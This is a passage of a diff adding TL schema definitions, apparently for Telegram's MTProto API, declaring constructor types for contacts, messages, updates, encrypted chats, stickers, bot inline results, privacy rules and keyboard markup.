+importedContact#d0028438 user_id:int client_id:long = ImportedContact;
+
+contactBlocked#561bc879 user_id:int date:int = ContactBlocked;
+
+contactStatus#d3680c61 user_id:int status:UserStatus = ContactStatus;
+
+contacts.link#3ace484c my_link:ContactLink foreign_link:ContactLink user:User = contacts.Link;
+
+contacts.contactsNotModified#b74ba9d2 = contacts.Contacts;
+contacts.contacts#6f8b8cb2 contacts:Vector<Contact> users:Vector<User> = contacts.Contacts;
+
+contacts.importedContacts#ad524315 imported:Vector<ImportedContact> retry_contacts:Vector<long> users:Vector<User> = contacts.ImportedContacts;
+
+contacts.blocked#1c138d15 blocked:Vector<ContactBlocked> users:Vector<User> = contacts.Blocked;
+contacts.blockedSlice#900802a1 count:int blocked:Vector<ContactBlocked> users:Vector<User> = contacts.Blocked;
+
+messages.dialogs#15ba6c40 dialogs:Vector<Dialog> messages:Vector<Message> chats:Vector<Chat> users:Vector<User> = messages.Dialogs;
+messages.dialogsSlice#71e094f3 count:int dialogs:Vector<Dialog> messages:Vector<Message> chats:Vector<Chat> users:Vector<User> = messages.Dialogs;
+
+messages.messages#8c718e87 messages:Vector<Message> chats:Vector<Chat> users:Vector<User> = messages.Messages;
+messages.messagesSlice#b446ae3 count:int messages:Vector<Message> chats:Vector<Chat> users:Vector<User> = messages.Messages;
+messages.channelMessages#99262e37 flags:# pts:int count:int messages:Vector<Message> chats:Vector<Chat> users:Vector<User> = messages.Messages;
+
+messages.chats#64ff9fd5 chats:Vector<Chat> = messages.Chats;
+messages.chatsSlice#9cd81144 count:int chats:Vector<Chat> = messages.Chats;
+
+messages.chatFull#e5d7d19c full_chat:ChatFull chats:Vector<Chat> users:Vector<User> = messages.ChatFull;
+
+messages.affectedHistory#b45c69d1 pts:int pts_count:int offset:int = messages.AffectedHistory;
+
+inputMessagesFilterEmpty#57e2f66c = MessagesFilter;
+inputMessagesFilterPhotos#9609a51c = MessagesFilter;
+inputMessagesFilterVideo#9fc00e65 = MessagesFilter;
+inputMessagesFilterPhotoVideo#56e9f0e4 = MessagesFilter;
+inputMessagesFilterPhotoVideoDocuments#d95e73bb = MessagesFilter;
+inputMessagesFilterDocument#9eddf188 = MessagesFilter;
+inputMessagesFilterUrl#7ef0dd87 = MessagesFilter;
+inputMessagesFilterGif#ffc86587 = MessagesFilter;
+inputMessagesFilterVoice#50f5c392 = MessagesFilter;
+inputMessagesFilterMusic#3751b49e = MessagesFilter;
+inputMessagesFilterChatPhotos#3a20ecb8 = MessagesFilter;
+inputMessagesFilterPhoneCalls#80c99768 flags:# missed:flags.0?true = MessagesFilter;
+inputMessagesFilterRoundVoice#7a7c17a4 = MessagesFilter;
+inputMessagesFilterRoundVideo#b549da53 = MessagesFilter;
+
+updateNewMessage#1f2b0afd message:Message pts:int pts_count:int = Update;
+updateMessageID#4e90bfd6 id:int random_id:long = Update;
+updateDeleteMessages#a20db0e5 messages:Vector<int> pts:int pts_count:int = Update;
+updateUserTyping#5c486927 user_id:int action:SendMessageAction = Update;
+updateChatUserTyping#9a65ea1f chat_id:int user_id:int action:SendMessageAction = Update;
+updateChatParticipants#7761198 participants:ChatParticipants = Update;
+updateUserStatus#1bfbd823 user_id:int status:UserStatus = Update;
+updateUserName#a7332b73 user_id:int first_name:string last_name:string username:string = Update;
+updateUserPhoto#95313b0c user_id:int date:int photo:UserProfilePhoto previous:Bool = Update;
+updateContactRegistered#2575bbb9 user_id:int date:int = Update;
+updateContactLink#9d2e67c5 user_id:int my_link:ContactLink foreign_link:ContactLink = Update;
+updateNewEncryptedMessage#12bcbd9a message:EncryptedMessage qts:int = Update;
+updateEncryptedChatTyping#1710f156 chat_id:int = Update;
+updateEncryption#b4a2e88d chat:EncryptedChat date:int = Update;
+updateEncryptedMessagesRead#38fe25b7 chat_id:int max_date:int date:int = Update;
+updateChatParticipantAdd#ea4b0e5c chat_id:int user_id:int inviter_id:int date:int version:int = Update;
+updateChatParticipantDelete#6e5f8c22 chat_id:int user_id:int version:int = Update;
+updateDcOptions#8e5e9873 dc_options:Vector<DcOption> = Update;
+updateUserBlocked#80ece81a user_id:int blocked:Bool = Update;
+updateNotifySettings#bec268ef peer:NotifyPeer notify_settings:PeerNotifySettings = Update;
+updateServiceNotification#ebe46819 flags:# popup:flags.0?true inbox_date:flags.1?int type:string message:string media:MessageMedia entities:Vector<MessageEntity> = Update;
+updatePrivacy#ee3b272a key:PrivacyKey rules:Vector<PrivacyRule> = Update;
+updateUserPhone#12b9417b user_id:int phone:string = Update;
+updateReadHistoryInbox#9961fd5c peer:Peer max_id:int pts:int pts_count:int = Update;
+updateReadHistoryOutbox#2f2f21bf peer:Peer max_id:int pts:int pts_count:int = Update;
+updateWebPage#7f891213 webpage:WebPage pts:int pts_count:int = Update;
+updateReadMessagesContents#68c13933 messages:Vector<int> pts:int pts_count:int = Update;
+updateChannelTooLong#eb0467fb flags:# channel_id:int pts:flags.0?int = Update;
+updateChannel#b6d45656 channel_id:int = Update;
+updateNewChannelMessage#62ba04d9 message:Message pts:int pts_count:int = Update;
+updateReadChannelInbox#4214f37f channel_id:int max_id:int = Update;
+updateDeleteChannelMessages#c37521c9 channel_id:int messages:Vector<int> pts:int pts_count:int = Update;
+updateChannelMessageViews#98a12b4b channel_id:int id:int views:int = Update;
+updateChatAdmins#6e947941 chat_id:int enabled:Bool version:int = Update;
+updateChatParticipantAdmin#b6901959 chat_id:int user_id:int is_admin:Bool version:int = Update;
+updateNewStickerSet#688a30aa stickerset:messages.StickerSet = Update;
+updateStickerSetsOrder#bb2d201 flags:# masks:flags.0?true order:Vector<long> = Update;
+updateStickerSets#43ae3dec = Update;
+updateSavedGifs#9375341e = Update;
+updateBotInlineQuery#54826690 flags:# query_id:long user_id:int query:string geo:flags.0?GeoPoint offset:string = Update;
+updateBotInlineSend#e48f964 flags:# user_id:int query:string geo:flags.0?GeoPoint id:string msg_id:flags.1?InputBotInlineMessageID = Update;
+updateEditChannelMessage#1b3f4df7 message:Message pts:int pts_count:int = Update;
+updateChannelPinnedMessage#98592475 channel_id:int id:int = Update;
+updateBotCallbackQuery#e73547e1 flags:# query_id:long user_id:int peer:Peer msg_id:int chat_instance:long data:flags.0?bytes game_short_name:flags.1?string = Update;
+updateEditMessage#e40370a3 message:Message pts:int pts_count:int = Update;
+updateInlineBotCallbackQuery#f9d27a5a flags:# query_id:long user_id:int msg_id:InputBotInlineMessageID chat_instance:long data:flags.0?bytes game_short_name:flags.1?string = Update;
+updateReadChannelOutbox#25d6c9c7 channel_id:int max_id:int = Update;
+updateDraftMessage#ee2bb969 peer:Peer draft:DraftMessage = Update;
+updateReadFeaturedStickers#571d2742 = Update;
+updateRecentStickers#9a422c20 = Update;
+updateConfig#a229dd06 = Update;
+updatePtsChanged#3354678f = Update;
+updateChannelWebPage#40771900 channel_id:int webpage:WebPage pts:int pts_count:int = Update;
+updateDialogPinned#d711a2cc flags:# pinned:flags.0?true peer:Peer = Update;
+updatePinnedDialogs#d8caf68d flags:# order:flags.0?Vector<Peer> = Update;
+updateBotWebhookJSON#8317c0c3 data:DataJSON = Update;
+updateBotWebhookJSONQuery#9b9240a6 query_id:long data:DataJSON timeout:int = Update;
+updateBotShippingQuery#e0cdc940 query_id:long user_id:int payload:bytes shipping_address:PostAddress = Update;
+updateBotPrecheckoutQuery#5d2f3aa9 flags:# query_id:long user_id:int payload:bytes info:flags.0?PaymentRequestedInfo shipping_option_id:flags.1?string currency:string total_amount:long = Update;
+updatePhoneCall#ab0f6b1e phone_call:PhoneCall = Update;
+
+updates.state#a56c2a3e pts:int qts:int date:int seq:int unread_count:int = updates.State;
+
+updates.differenceEmpty#5d75a138 date:int seq:int = updates.Difference;
+updates.difference#f49ca0 new_messages:Vector<Message> new_encrypted_messages:Vector<EncryptedMessage> other_updates:Vector<Update> chats:Vector<Chat> users:Vector<User> state:updates.State = updates.Difference;
+updates.differenceSlice#a8fb1981 new_messages:Vector<Message> new_encrypted_messages:Vector<EncryptedMessage> other_updates:Vector<Update> chats:Vector<Chat> users:Vector<User> intermediate_state:updates.State = updates.Difference;
+updates.differenceTooLong#4afe8f6d pts:int = updates.Difference;
+
+updatesTooLong#e317af7e = Updates;
+updateShortMessage#914fbf11 flags:# out:flags.1?true mentioned:flags.4?true media_unread:flags.5?true silent:flags.13?true id:int user_id:int message:string pts:int pts_count:int date:int fwd_from:flags.2?MessageFwdHeader via_bot_id:flags.11?int reply_to_msg_id:flags.3?int entities:flags.7?Vector<MessageEntity> = Updates;
+updateShortChatMessage#16812688 flags:# out:flags.1?true mentioned:flags.4?true media_unread:flags.5?true silent:flags.13?true id:int from_id:int chat_id:int message:string pts:int pts_count:int date:int fwd_from:flags.2?MessageFwdHeader via_bot_id:flags.11?int reply_to_msg_id:flags.3?int entities:flags.7?Vector<MessageEntity> = Updates;
+updateShort#78d4dec1 update:Update date:int = Updates;
+updatesCombined#725b04c3 updates:Vector<Update> users:Vector<User> chats:Vector<Chat> date:int seq_start:int seq:int = Updates;
+updates#74ae4240 updates:Vector<Update> users:Vector<User> chats:Vector<Chat> date:int seq:int = Updates;
+updateShortSentMessage#11f1331c flags:# out:flags.1?true id:int pts:int pts_count:int date:int media:flags.9?MessageMedia entities:flags.7?Vector<MessageEntity> = Updates;
+
+photos.photos#8dca6aa5 photos:Vector<Photo> users:Vector<User> = photos.Photos;
+photos.photosSlice#15051f54 count:int photos:Vector<Photo> users:Vector<User> = photos.Photos;
+
+photos.photo#20212ca8 photo:Photo users:Vector<User> = photos.Photo;
+
+upload.file#96a18d5 type:storage.FileType mtime:int bytes:bytes = upload.File;
+upload.fileCdnRedirect#1508485a dc_id:int file_token:bytes encryption_key:bytes encryption_iv:bytes = upload.File;
+
+dcOption#5d8c6cc flags:# ipv6:flags.0?true media_only:flags.1?true tcpo_only:flags.2?true cdn:flags.3?true id:int ip_address:string port:int = DcOption;
+
+config#cb601684 flags:# phonecalls_enabled:flags.1?true date:int expires:int test_mode:Bool this_dc:int dc_options:Vector<DcOption> chat_size_max:int megagroup_size_max:int forwarded_count_max:int online_update_period_ms:int offline_blur_timeout_ms:int offline_idle_timeout_ms:int online_cloud_timeout_ms:int notify_cloud_delay_ms:int notify_default_delay_ms:int chat_big_size:int push_chat_period_ms:int push_chat_limit:int saved_gifs_limit:int edit_time_limit:int rating_e_decay:int stickers_recent_limit:int tmp_sessions:flags.0?int pinned_dialogs_count_max:int call_receive_timeout_ms:int call_ring_timeout_ms:int call_connect_timeout_ms:int call_packet_timeout_ms:int me_url_prefix:string disabled_features:Vector<DisabledFeature> = Config;
+
+nearestDc#8e1a1775 country:string this_dc:int nearest_dc:int = NearestDc;
+
+help.appUpdate#8987f311 id:int critical:Bool url:string text:string = help.AppUpdate;
+help.noAppUpdate#c45a6536 = help.AppUpdate;
+
+help.inviteText#18cb9f78 message:string = help.InviteText;
+
+encryptedChatEmpty#ab7ec0a0 id:int = EncryptedChat;
+encryptedChatWaiting#3bf703dc id:int access_hash:long date:int admin_id:int participant_id:int = EncryptedChat;
+encryptedChatRequested#c878527e id:int access_hash:long date:int admin_id:int participant_id:int g_a:bytes = EncryptedChat;
+encryptedChat#fa56ce36 id:int access_hash:long date:int admin_id:int participant_id:int g_a_or_b:bytes key_fingerprint:long = EncryptedChat;
+encryptedChatDiscarded#13d6dd27 id:int = EncryptedChat;
+
+inputEncryptedChat#f141b5e1 chat_id:int access_hash:long = InputEncryptedChat;
+
+encryptedFileEmpty#c21f497e = EncryptedFile;
+encryptedFile#4a70994c id:long access_hash:long size:int dc_id:int key_fingerprint:int = EncryptedFile;
+
+inputEncryptedFileEmpty#1837c364 = InputEncryptedFile;
+inputEncryptedFileUploaded#64bd0306 id:long parts:int md5_checksum:string key_fingerprint:int = InputEncryptedFile;
+inputEncryptedFile#5a17b5e5 id:long access_hash:long = InputEncryptedFile;
+inputEncryptedFileBigUploaded#2dc173c8 id:long parts:int key_fingerprint:int = InputEncryptedFile;
+
+encryptedMessage#ed18c118 random_id:long chat_id:int date:int bytes:bytes file:EncryptedFile = EncryptedMessage;
+encryptedMessageService#23734b06 random_id:long chat_id:int date:int bytes:bytes = EncryptedMessage;
+
+messages.dhConfigNotModified#c0e24635 random:bytes = messages.DhConfig;
+messages.dhConfig#2c221edd g:int p:bytes version:int random:bytes = messages.DhConfig;
+
+messages.sentEncryptedMessage#560f8935 date:int = messages.SentEncryptedMessage;
+messages.sentEncryptedFile#9493ff32 date:int file:EncryptedFile = messages.SentEncryptedMessage;
+
+inputDocumentEmpty#72f0eaae = InputDocument;
+inputDocument#18798952 id:long access_hash:long = InputDocument;
+
+documentEmpty#36f8c871 id:long = Document;
+document#87232bc7 id:long access_hash:long date:int mime_type:string size:int thumb:PhotoSize dc_id:int version:int attributes:Vector<DocumentAttribute> = Document;
+
+help.support#17c6b5f6 phone_number:string user:User = help.Support;
+
+notifyPeer#9fd40bd8 peer:Peer = NotifyPeer;
+notifyUsers#b4c83b4c = NotifyPeer;
+notifyChats#c007cec3 = NotifyPeer;
+notifyAll#74d07c60 = NotifyPeer;
+
+sendMessageTypingAction#16bf744e = SendMessageAction;
+sendMessageCancelAction#fd5ec8f5 = SendMessageAction;
+sendMessageRecordVideoAction#a187d66f = SendMessageAction;
+sendMessageUploadVideoAction#e9763aec progress:int = SendMessageAction;
+sendMessageRecordAudioAction#d52f73f7 = SendMessageAction;
+sendMessageUploadAudioAction#f351d7ab progress:int = SendMessageAction;
+sendMessageUploadPhotoAction#d1d34a26 progress:int = SendMessageAction;
+sendMessageUploadDocumentAction#aa0cd9e4 progress:int = SendMessageAction;
+sendMessageGeoLocationAction#176f8ba1 = SendMessageAction;
+sendMessageChooseContactAction#628cbc6f = SendMessageAction;
+sendMessageGamePlayAction#dd6a8f48 = SendMessageAction;
+sendMessageRecordRoundAction#88f27fbc = SendMessageAction;
+sendMessageUploadRoundAction#243e1c66 progress:int = SendMessageAction;
+
+contacts.found#1aa1f784 results:Vector<Peer> chats:Vector<Chat> users:Vector<User> = contacts.Found;
+
+inputPrivacyKeyStatusTimestamp#4f96cb18 = InputPrivacyKey;
+inputPrivacyKeyChatInvite#bdfb0426 = InputPrivacyKey;
+inputPrivacyKeyPhoneCall#fabadc5f = InputPrivacyKey;
+
+privacyKeyStatusTimestamp#bc2eab30 = PrivacyKey;
+privacyKeyChatInvite#500e6dfa = PrivacyKey;
+privacyKeyPhoneCall#3d662b7b = PrivacyKey;
+
+inputPrivacyValueAllowContacts#d09e07b = InputPrivacyRule;
+inputPrivacyValueAllowAll#184b35ce = InputPrivacyRule;
+inputPrivacyValueAllowUsers#131cc67f users:Vector<InputUser> = InputPrivacyRule;
+inputPrivacyValueDisallowContacts#ba52007 = InputPrivacyRule;
+inputPrivacyValueDisallowAll#d66b66c9 = InputPrivacyRule;
+inputPrivacyValueDisallowUsers#90110467 users:Vector<InputUser> = InputPrivacyRule;
+
+privacyValueAllowContacts#fffe1bac = PrivacyRule;
+privacyValueAllowAll#65427b82 = PrivacyRule;
+privacyValueAllowUsers#4d5bbe0c users:Vector<int> = PrivacyRule;
+privacyValueDisallowContacts#f888fa1a = PrivacyRule;
+privacyValueDisallowAll#8b73e763 = PrivacyRule;
+privacyValueDisallowUsers#c7f49b7 users:Vector<int> = PrivacyRule;
+
+account.privacyRules#554abb6f rules:Vector<PrivacyRule> users:Vector<User> = account.PrivacyRules;
+
+accountDaysTTL#b8d0afdf days:int = AccountDaysTTL;
+
+documentAttributeImageSize#6c37c15c w:int h:int = DocumentAttribute;
+documentAttributeAnimated#11b58939 = DocumentAttribute;
+documentAttributeSticker#6319d612 flags:# mask:flags.1?true alt:string stickerset:InputStickerSet mask_coords:flags.0?MaskCoords = DocumentAttribute;
+documentAttributeVideo#ef02ce6 flags:# round_message:flags.0?true duration:int w:int h:int = DocumentAttribute;
+documentAttributeAudio#9852f9c6 flags:# voice:flags.10?true duration:int title:flags.0?string performer:flags.1?string waveform:flags.2?bytes = DocumentAttribute;
+documentAttributeFilename#15590068 file_name:string = DocumentAttribute;
+documentAttributeHasStickers#9801d2f7 = DocumentAttribute;
+
+messages.stickersNotModified#f1749a22 = messages.Stickers;
+messages.stickers#8a8ecd32 hash:string stickers:Vector<Document> = messages.Stickers;
+
+stickerPack#12b299d4 emoticon:string documents:Vector<long> = StickerPack;
+
+messages.allStickersNotModified#e86602c3 = messages.AllStickers;
+messages.allStickers#edfd405f hash:int sets:Vector<StickerSet> = messages.AllStickers;
+
+disabledFeature#ae636f24 feature:string description:string = DisabledFeature;
+
+messages.affectedMessages#84d19185 pts:int pts_count:int = messages.AffectedMessages;
+
+contactLinkUnknown#5f4f9247 = ContactLink;
+contactLinkNone#feedd3ad = ContactLink;
+contactLinkHasPhone#268f3f59 = ContactLink;
+contactLinkContact#d502c2d0 = ContactLink;
+
+webPageEmpty#eb1477e8 id:long = WebPage;
+webPagePending#c586da1c id:long date:int = WebPage;
+webPage#5f07b4bc flags:# id:long url:string display_url:string hash:int type:flags.0?string site_name:flags.1?string title:flags.2?string description:flags.3?string photo:flags.4?Photo embed_url:flags.5?string embed_type:flags.5?string embed_width:flags.6?int embed_height:flags.6?int duration:flags.7?int author:flags.8?string document:flags.9?Document cached_page:flags.10?Page = WebPage;
+webPageNotModified#85849473 = WebPage;
+
+authorization#7bf2e6f6 hash:long flags:int device_model:string platform:string system_version:string api_id:int app_name:string app_version:string date_created:int date_active:int ip:string country:string region:string = Authorization;
+
+account.authorizations#1250abde authorizations:Vector<Authorization> = account.Authorizations;
+
+account.noPassword#96dabc18 new_salt:bytes email_unconfirmed_pattern:string = account.Password;
+account.password#7c18141c current_salt:bytes new_salt:bytes hint:string has_recovery:Bool email_unconfirmed_pattern:string = account.Password;
+
+account.passwordSettings#b7b72ab3 email:string = account.PasswordSettings;
+
+account.passwordInputSettings#86916deb flags:# new_salt:flags.0?bytes new_password_hash:flags.0?bytes hint:flags.0?string email:flags.1?string = account.PasswordInputSettings;
+
+auth.passwordRecovery#137948a5 email_pattern:string = auth.PasswordRecovery;
+
+receivedNotifyMessage#a384b779 id:int flags:int = ReceivedNotifyMessage;
+
+chatInviteEmpty#69df3769 = ExportedChatInvite;
+chatInviteExported#fc2e05bc link:string = ExportedChatInvite;
+
+chatInviteAlready#5a686d7c chat:Chat = ChatInvite;
+chatInvite#db74f558 flags:# channel:flags.0?true broadcast:flags.1?true public:flags.2?true megagroup:flags.3?true title:string photo:ChatPhoto participants_count:int participants:flags.4?Vector<User> = ChatInvite;
+
+inputStickerSetEmpty#ffb62b95 = InputStickerSet;
+inputStickerSetID#9de7a269 id:long access_hash:long = InputStickerSet;
+inputStickerSetShortName#861cc8a0 short_name:string = InputStickerSet;
+
+stickerSet#cd303b41 flags:# installed:flags.0?true archived:flags.1?true official:flags.2?true masks:flags.3?true id:long access_hash:long title:string short_name:string count:int hash:int = StickerSet;
+
+messages.stickerSet#b60a24a6 set:StickerSet packs:Vector<StickerPack> documents:Vector<Document> = messages.StickerSet;
+
+botCommand#c27ac8c7 command:string description:string = BotCommand;
+
+botInfo#98e81d3a user_id:int description:string commands:Vector<BotCommand> = BotInfo;
+
+keyboardButton#a2fa4880 text:string = KeyboardButton;
+keyboardButtonUrl#258aff05 text:string url:string = KeyboardButton;
+keyboardButtonCallback#683a5e46 text:string data:bytes = KeyboardButton;
+keyboardButtonRequestPhone#b16a6c29 text:string = KeyboardButton;
+keyboardButtonRequestGeoLocation#fc796b3f text:string = KeyboardButton;
+keyboardButtonSwitchInline#568a748 flags:# same_peer:flags.0?true text:string query:string = KeyboardButton;
+keyboardButtonGame#50f41ccf text:string = KeyboardButton;
+keyboardButtonBuy#afd93fbb text:string = KeyboardButton;
+
+keyboardButtonRow#77608b83 buttons:Vector<KeyboardButton> = KeyboardButtonRow;
+
+replyKeyboardHide#a03e5b85 flags:# selective:flags.2?true = ReplyMarkup;
+replyKeyboardForceReply#f4108aa0 flags:# single_use:flags.1?true selective:flags.2?true = ReplyMarkup;
+replyKeyboardMarkup#3502758c flags:# resize:flags.0?true single_use:flags.1?true selective:flags.2?true rows:Vector<KeyboardButtonRow> = ReplyMarkup;
+replyInlineMarkup#48a30254 rows:Vector<KeyboardButtonRow> = ReplyMarkup;
+
+messageEntityUnknown#bb92ba95 offset:int length:int = MessageEntity;
+messageEntityMention#fa04579d offset:int length:int = MessageEntity;
+messageEntityHashtag#6f635b0d offset:int length:int = MessageEntity;
+messageEntityBotCommand#6cef8ac7 offset:int length:int = MessageEntity;
+messageEntityUrl#6ed02538 offset:int length:int = MessageEntity;
+messageEntityEmail#64e475c2 offset:int length:int = MessageEntity;
+messageEntityBold#bd610bc9 offset:int length:int = MessageEntity;
+messageEntityItalic#826f8b60 offset:int length:int = MessageEntity;
+messageEntityCode#28a20571 offset:int length:int = MessageEntity;
+messageEntityPre#73924be0 offset:int length:int language:string = MessageEntity;
+messageEntityTextUrl#76a6d327 offset:int length:int url:string = MessageEntity;
+messageEntityMentionName#352dca58 offset:int length:int user_id:int = MessageEntity;
+inputMessageEntityMentionName#208e68c9 offset:int length:int user_id:InputUser = MessageEntity;
+
+inputChannelEmpty#ee8c1e86 = InputChannel;
+inputChannel#afeb712e channel_id:int access_hash:long = InputChannel;
+
+contacts.resolvedPeer#7f077ad9 peer:Peer chats:Vector<Chat> users:Vector<User> = contacts.ResolvedPeer;
+
+messageRange#ae30253 min_id:int max_id:int = MessageRange;
+
+updates.channelDifferenceEmpty#3e11affb flags:# final:flags.0?true pts:int timeout:flags.1?int = updates.ChannelDifference;
+updates.channelDifferenceTooLong#410dee07 flags:# final:flags.0?true pts:int timeout:flags.1?int top_message:int read_inbox_max_id:int read_outbox_max_id:int unread_count:int messages:Vector<Message> chats:Vector<Chat> users:Vector<User> = updates.ChannelDifference;
+updates.channelDifference#2064674e flags:# final:flags.0?true pts:int timeout:flags.1?int new_messages:Vector<Message> other_updates:Vector<Update> chats:Vector<Chat> users:Vector<User> = updates.ChannelDifference;
+
+channelMessagesFilterEmpty#94d42ee7 = ChannelMessagesFilter;
+channelMessagesFilter#cd77d957 flags:# exclude_new_messages:flags.1?true ranges:Vector<MessageRange> = ChannelMessagesFilter;
+
+channelParticipant#15ebac1d user_id:int date:int = ChannelParticipant;
+channelParticipantSelf#a3289a6d user_id:int inviter_id:int date:int = ChannelParticipant;
+channelParticipantModerator#91057fef user_id:int inviter_id:int date:int = ChannelParticipant;
+channelParticipantEditor#98192d61 user_id:int inviter_id:int date:int = ChannelParticipant;
+channelParticipantKicked#8cc5e69a user_id:int kicked_by:int date:int = ChannelParticipant;
+channelParticipantCreator#e3e2e1f9 user_id:int = ChannelParticipant;
+
+channelParticipantsRecent#de3f3c79 = ChannelParticipantsFilter;
+channelParticipantsAdmins#b4608969 = ChannelParticipantsFilter;
+channelParticipantsKicked#3c37bb7a = ChannelParticipantsFilter;
+channelParticipantsBots#b0d1865b = ChannelParticipantsFilter;
+
+channelRoleEmpty#b285a0c6 = ChannelParticipantRole;
+channelRoleModerator#9618d975 = ChannelParticipantRole;
+channelRoleEditor#820bfe8c = ChannelParticipantRole;
+
+channels.channelParticipants#f56ee2a8 count:int participants:Vector<ChannelParticipant> users:Vector<User> = channels.ChannelParticipants;
+
+channels.channelParticipant#d0d9b163 participant:ChannelParticipant users:Vector<User> = channels.ChannelParticipant;
+
+help.termsOfService#f1ee3e90 text:string = help.TermsOfService;
+
+foundGif#162ecc1f url:string thumb_url:string content_url:string content_type:string w:int h:int = FoundGif;
+foundGifCached#9c750409 url:string photo:Photo document:Document = FoundGif;
+
+messages.foundGifs#450a1c0a next_offset:int results:Vector<FoundGif> = messages.FoundGifs;
+
+messages.savedGifsNotModified#e8025ca2 = messages.SavedGifs;
+messages.savedGifs#2e0709a5 hash:int gifs:Vector<Document> = messages.SavedGifs;
+
+inputBotInlineMessageMediaAuto#292fed13 flags:# caption:string reply_markup:flags.2?ReplyMarkup = InputBotInlineMessage;
+inputBotInlineMessageText#3dcd7a87 flags:# no_webpage:flags.0?true message:string entities:flags.1?Vector<MessageEntity> reply_markup:flags.2?ReplyMarkup = InputBotInlineMessage;
+inputBotInlineMessageMediaGeo#f4a59de1 flags:# geo_point:InputGeoPoint reply_markup:flags.2?ReplyMarkup = InputBotInlineMessage;
+inputBotInlineMessageMediaVenue#aaafadc8 flags:# geo_point:InputGeoPoint title:string address:string provider:string venue_id:string reply_markup:flags.2?ReplyMarkup = InputBotInlineMessage;
+inputBotInlineMessageMediaContact#2daf01a7 flags:# phone_number:string first_name:string last_name:string reply_markup:flags.2?ReplyMarkup = InputBotInlineMessage;
+inputBotInlineMessageGame#4b425864 flags:# reply_markup:flags.2?ReplyMarkup = InputBotInlineMessage;
+
+inputBotInlineResult#2cbbe15a flags:# id:string type:string title:flags.1?string description:flags.2?string url:flags.3?string thumb_url:flags.4?string content_url:flags.5?string content_type:flags.5?string w:flags.6?int h:flags.6?int duration:flags.7?int send_message:InputBotInlineMessage = InputBotInlineResult;
+inputBotInlineResultPhoto#a8d864a7 id:string type:string photo:InputPhoto send_message:InputBotInlineMessage = InputBotInlineResult;
+inputBotInlineResultDocument#fff8fdc4 flags:# id:string type:string title:flags.1?string description:flags.2?string document:InputDocument send_message:InputBotInlineMessage = InputBotInlineResult;
+inputBotInlineResultGame#4fa417f2 id:string short_name:string send_message:InputBotInlineMessage = InputBotInlineResult;
+
+botInlineMessageMediaAuto#a74b15b flags:# caption:string reply_markup:flags.2?ReplyMarkup = BotInlineMessage;
+botInlineMessageText#8c7f65e2 flags:# no_webpage:flags.0?true message:string entities:flags.1?Vector<MessageEntity> reply_markup:flags.2?ReplyMarkup = BotInlineMessage;
+botInlineMessageMediaGeo#3a8fd8b8 flags:# geo:GeoPoint reply_markup:flags.2?ReplyMarkup = BotInlineMessage;
+botInlineMessageMediaVenue#4366232e flags:# geo:GeoPoint title:string address:string provider:string venue_id:string reply_markup:flags.2?ReplyMarkup = BotInlineMessage;
+botInlineMessageMediaContact#35edb4d4 flags:# phone_number:string first_name:string last_name:string reply_markup:flags.2?ReplyMarkup = BotInlineMessage;
+
+botInlineResult#9bebaeb9 flags:# id:string type:string title:flags.1?string description:flags.2?string url:flags.3?string thumb_url:flags.4?string content_url:flags.5?string content_type:flags.5?string w:flags.6?int h:flags.6?int duration:flags.7?int send_message:BotInlineMessage = BotInlineResult;
+botInlineMediaResult#17db940b flags:# id:string type:string photo:flags.0?Photo document:flags.1?Document title:flags.2?string description:flags.3?string send_message:BotInlineMessage = BotInlineResult;
+
+messages.botResults#ccd3563d flags:# gallery:flags.0?true query_id:long next_offset:flags.1?string switch_pm:flags.2?InlineBotSwitchPM results:Vector<BotInlineResult> cache_time:int = messages.BotResults;
+
+exportedMessageLink#1f486803 link:string = ExportedMessageLink;
+
+messageFwdHeader#c786ddcb flags:# from_id:flags.0?int date:int channel_id:flags.1?int channel_post:flags.2?int = MessageFwdHeader;
+
+auth.codeTypeSms#72a3158c = auth.CodeType;
+auth.codeTypeCall#741cd3e3 = auth.CodeType;
+auth.codeTypeFlashCall#226ccefb = auth.CodeType;
+
+auth.sentCodeTypeApp#3dbb5986 length:int = auth.SentCodeType;
+auth.sentCodeTypeSms#c000bba2 length:int = auth.SentCodeType;
+auth.sentCodeTypeCall#5353e5a7 length:int = auth.SentCodeType;
+auth.sentCodeTypeFlashCall#ab03c6d9 pattern:string = auth.SentCodeType;
+
+messages.botCallbackAnswer#36585ea4 flags:# alert:flags.1?true has_url:flags.3?true message:flags.0?string url:flags.2?string cache_time:int = messages.BotCallbackAnswer;
+
+messages.messageEditData#26b5dde6 flags:# caption:flags.0?true = messages.MessageEditData;
+
+inputBotInlineMessageID#890c3d89 dc_id:int id:long access_hash:long = InputBotInlineMessageID;
+
+inlineBotSwitchPM#3c20629f text:string start_param:string = InlineBotSwitchPM;
+
+messages.peerDialogs#3371c354 dialogs:Vector<Dialog> messages:Vector<Message> chats:Vector<Chat> users:Vector<User> state:updates.State = messages.PeerDialogs;
+
+topPeer#edcdc05b peer:Peer rating:double = TopPeer;
+
+topPeerCategoryBotsPM#ab661b5b = TopPeerCategory;
+topPeerCategoryBotsInline#148677e2 = TopPeerCategory;
+topPeerCategoryCorrespondents#637b7ed = TopPeerCategory;
+topPeerCategoryGroups#bd17a14a = TopPeerCategory;
+topPeerCategoryChannels#161d9628 = TopPeerCategory;
+
+topPeerCategoryPeers#fb834291 category:TopPeerCategory count:int peers:Vector<TopPeer> = TopPeerCategoryPeers;
+
+contacts.topPeersNotModified#de266ef5 = contacts.TopPeers;
+contacts.topPeers#70b772a8 categories:Vector<TopPeerCategoryPeers> chats:Vector<Chat> users:Vector<User> = contacts.TopPeers;
+
+draftMessageEmpty#ba4baec5 = DraftMessage;
+draftMessage#fd8e711f flags:# no_webpage:flags.1?true reply_to_msg_id:flags.0?int message:string entities:flags.3?Vector<MessageEntity> date:int = DraftMessage;
+
+messages.featuredStickersNotModified#4ede3cf = messages.FeaturedStickers;
+messages.featuredStickers#f89d88e5 hash:int sets:Vector<StickerSetCovered> unread:Vector<long> = messages.FeaturedStickers;
+
+messages.recentStickersNotModified#b17f890 = messages.RecentStickers;
+messages.recentStickers#5ce20970 hash:int stickers:Vector<Document> = messages.RecentStickers;
+
+messages.archivedStickers#4fcba9c8 count:int sets:Vector<StickerSetCovered> = messages.ArchivedStickers;
+
+messages.stickerSetInstallResultSuccess#38641628 = messages.StickerSetInstallResult;
+messages.stickerSetInstallResultArchive#35e410a8 sets:Vector<StickerSetCovered> = messages.StickerSetInstallResult;
+
+stickerSetCovered#6410a5d2 set:StickerSet cover:Document = StickerSetCovered;
+stickerSetMultiCovered#3407e51b set:StickerSet covers:Vector<Document> = StickerSetCovered;
+
+maskCoords#aed6dbb2 n:int x:double y:double zoom:double = MaskCoords;
+
